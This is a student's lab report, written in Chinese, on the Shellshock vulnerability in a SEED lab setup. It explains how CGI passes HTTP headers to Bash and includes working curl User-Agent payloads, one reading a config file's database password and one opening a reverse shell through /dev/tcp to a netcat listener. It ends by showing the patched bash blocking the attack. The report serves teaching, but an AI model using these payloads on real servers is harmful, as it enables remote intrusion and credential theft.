信息安全实验报告

Lab 3 Shellshock

孙铁 SA20225414

Task 1

实验所使用的Ubuntu 16.04系统有两种Bash程序:Bash和Bash_Shellshock。区别在于Bash_Shellshock 没有针对Shellshock 攻击的补丁,无法防御此种攻击。

通过实验进行验证:

Bash:

```
[04/11/21]seed@VM:~$ foo='() { echo "hello"; }; echo "test";'
[04/11/21]seed@VM:~$ echo $foo
() { echo "hello"; }; echo "test";
[04/11/21]seed@VM:~$ export foo
[04/11/21]seed@VM:~$
```

Bash Shellshock:

```
[04/11/21]seed@VM:~$ bash_shellshock
test
[04/11/21]seed@VM:~$ echo $foo

[04/11/21]seed@VM:~$ declare -f foo
foo ()
{
    echo "hello"
}
```

可以看到在 Bash Shellshock 中,foo 变量第二个分号后面的部分被执行。

Task 2

准备两台虚拟机:

攻击者 10.0.2.7:

```
Link encap:Ethernet HWaddr 08:00:27:32:83:13 inet addr:10.0.2.7 Bcast:10.0.2.255 Mask:255.255.255.0
```

目标服务器 10.0.2.8

```
Link encap:Ethernet HWaddr 08:00:27:89:23:2d inet addr:10.0.2.8 Bcast:10.0.2.255 Mask:255.255.255.0
```

编写 CGI 程序 myprog.cgi 放在目标服务器(10.0.2.8) 中 /usr/lib/cgi-bin 路

径下, 其作用是打印出 "Hello World"。

```
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

将文件权限设置为 755 (令其可执行)

[04/11/21]seed@VM:.../cgi-bin\$ sudo chmod 755 myprog.cgi

在攻击者主机(10.0.2.7)上,使用 curl 命令,结合目标主机 IP 地址,进行攻击: [04/11/21]seed@VM:~\$ curl http://10.0.2.8/cgi-bin/myprog.cgi
Hello World

Task 3

修改目标服务器(10.0.2.8)中 /usr/lib/cgi-bin 路径下的 CGI 程序 myprog.cgi, 其作用是打印出环境变量。

```
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******
strings /proc/$$/environ
文件权限设置为 755。
```

在攻击者主机(10.0.2.7)上,使用 curl 命令 -v 选项打印出 HTTP 请求和服务器的响应:

```
[04/11/21]seed@VM:~$ curl -v http://10.0.2.8/cgi-bin/myprog.cgi
    Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: curl/7.47.0
> Accept: */*
< HTTP/1.1 200 OK
< Date: Sun, 11 Apr 2021 05:40:07 GMT
< Server: Apache/2.4.18 (Ubuntu)</pre>
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
***** Environment Variables *****
HTTP H0ST=10.0.2.8
HTTP USER AGENT=curl/7.47.0
HTTP ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

尝试从攻击者主机(10.0.2.7)向目标服务器(10.0.2.8)发送数据, curl 命令的一些选项可以用来设置请求字段,根据上图可以看出,User-Agent 字段的信息与目标服务器环境变量 HTTP_USER_AGENT 完全相同,说明服务器从 HTTP 请求中获取 User-Agent 字段,并将其赋值给环境变量 HTTP_USER_AGENT。

实验进行验证:

使用 curl -A 命令修改 HTTP 请求的 User-Agent 字段为 "test":

```
[04/11/21]seed@VM:~$ curl -A "test" -v http://10.0.2.8/cgi-bin/myprog.cgi
    Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: test
> Accept: */*
< HTTP/1.1 200 OK
< Date: Sun, 11 Apr 2021 05:48:40 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
***** Environment Variables *****
HTTP H0ST=10.0.2.8
HTTP USER AGENT=test
HTTP ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

目标服务器(10.0.2.8)中的环境变量果然被修改。

因为 CGI 程序 myprog.cgi 开头是 "#! /bin/bash_shellshock", 说明该程序是一个运行在 bash_shellshock 下的 shell 脚本。myprog.cgi 程序被调用的时候,会调用 fork 函数创建一个新进程,然后再使用 exec 函数来执行 CGI 程序,并将环境变量传递给子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如 HTTP USER AGENT。

User-Agent / HTTP_USER_AGENT 并不是唯一可以使用的字段, curl 命令还有其他选项可以修改另外一些字段。说明 CGI 进程会从远程用户的 HTTP 请求中获取一些信息来赋值给服务器的环境变量。这就导致服务器存在了可以被进攻的漏洞。

Task 4

通过 shellshock 攻击获取一些机密文件的内容:

[04/12/21]seed@VM:~\$ curl -A "() { echo hello; }; echo Content_type: text/plain; echo;/bin/cat /var/www/CSRF/Elgg/elgg-config/settings.p hp" http://10.0.2.8/cgi-bin/myprog.cgi

环境变量 USER_AGENT 被传递给子进程,被转化为一个函数和三个 shell 命令并且执行,从而得到数据库密码:

```
/**
 * The database password
 *
 * @global string $CONFIG->dbpass
 */
$CONFIG->dbpass = 'seedubuntu';
```

同样方式尝试查看 /etc/shadow 文件:

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type:
  text/plain; echo;/bin/cat /etc/shadow" http://10.0.2.8/cgi-bin/mypr
og.cgi
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type:
  text/plain; echo;sudo /bin/cat /etc/shadow" http://10.0.2.8/cgi-bin
/myprog.cgi
[04/12/21]seed@VM:~$
```

发现无法查看。

推测这是因为/etc/shadow 文件的权限为 000, 需要 root 权限才可以查看。

Task 5

首先来正常构建一个反向 shell:

在攻击者主机(10.0.2.7)上,监听 9090 端口的 TCP 连接:

```
[04/12/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

在目标主机(10.0.2.8)上,运行如下指令该指令会触发一个连接到攻击者主机 9090 端口的 TCP 连接:

[04/12/21]seed@VM:~\$ /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1

攻击者主机收到并建立连接,在攻击者主机(10.0.2.7)上输入 ifconfig 可以看到, 此时的 shell 运行在目标主机 (10.0.2.8)上,这样就是构建了一个反向 shell。

下面使用 shellshock 攻击来创建一个反向 shell:

在攻击者主机(10.0.2.7)上, 监听 9090 端口的 TCP 连接:

```
[04/12/21]seed@VM:~$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)
```

在攻击者主机(10.0.2.7)用新终端运行如下指令,进行 shellshock 攻击:

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1" http://10.0.2.8/cgi-bin/myprog.cgi
```

curl 指令被执行,使得目标服务器触发了一个 shell 并连接到了攻击者主机的 9090 端口。这个 shell 的输入来自 TCP 连接,输出又被传给同一个 TCP 连接。 攻击者的 netccat 程序接受连接并显示由目标服务器的 CGI 程序触发的 shell 程序送来的 shell 提示符,这样就成功创建了反向 shell:

反向 shell 实际是在目标服务器上运行,但是它会从攻击者主机上获取输入,并 shell 运行输出打印在攻击者主机上。

Task 6

本实验需要使用具有防护补丁的 bash 程序,只需要将 myprog.cgi 代码的第一行中的 bash_shellshock 改为 bash:

新建文件 myprog1.cgi:

```
#!/bin/bash
echo "Content-type: text/plain"
echo
echo "***** Environment Variables ******
strings /proc/$$/environ
```

将其文件权限设置为755。

重做 task3:

在攻击者主机(10.0.2.7)上,使用 curl 命令 -v 选项打印出 HTTP 请求和服务器的响应,注意将 myprog.cgi 替换成 myprog1.cgi:

```
[04/12/21]seed@VM:~$ curl -v http://10.0.2.8/cgi-bin/myprog1.cgi
    Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog1.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: curl/7.47.0
> Accept: */*
< HTTP/1.1 200 OK
< Date: Mon, 12 Apr 2021 13:15:43 GMT</pre>
< Server: Apache/2.4.18 (Ubuntu)</pre>
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
***** Environment Variables *****
HTTP H0ST=10.0.2.8
HTTP_USER_AGENT=curl/7.47.0
HTTP ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

使用 curl -A 命令修改 HTTP 请求的 User-Agent 字段为 "test":

```
[04/12/21]seed@VM:~$ curl -A "test" -v http://10.0.2.8/cgi-bin/myprog1.cgi
    Trying 10.0.2.8...
* Connected to 10.0.2.8 (10.0.2.8) port 80 (#0)
> GET /cgi-bin/myprog1.cgi HTTP/1.1
> Host: 10.0.2.8
> User-Agent: test
> Accept: */*
< HTTP/1.1 200 OK
< Date: Mon, 12 Apr 2021 13:19:26 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
***** Environment Variables *****
HTTP H0ST=10.0.2.8
HTTP USER AGENT=test
```

目标服务器(10.0.2.8)中的环境变量还是会被修改。

重做 task5:

注意将 myprog.cgi 替换成 myprog1.cgi

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1" http://10.0.2.8/cgi-bin/myprog1.cgi
```

攻击者主机没有建立连接:

```
[04/12/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

没有成功创建反向 shell, 而是直接打印出了环境变量:

```
[04/12/21]seed@VM:~$ curl -A "() { echo hello; }; echo Content_type: text/plain;
  echo; echo; /bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1" http://10.0.2.8/cg
i-bin/myprog1.cgi
****** Environment Variables ******
HTTP_HOST=10.0.2.8
HTTP_USER_AGENT=() { echo hello; }; echo Content_type: text/plain; echo; echo; /
bin/bash -i > /dev/tcp/10.0.2.7/9090 0<&1 2>&1
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at 10.0.2.8 Port 80</add</pre>
```

这应该是因为 bash 修补了漏洞之后,不会把环境变量解析为函数和命令运行,这样一来 CGI 程序被执行时虽然还会被以同样的原理提供环境变量,但恶意植入的代码无法发挥作用。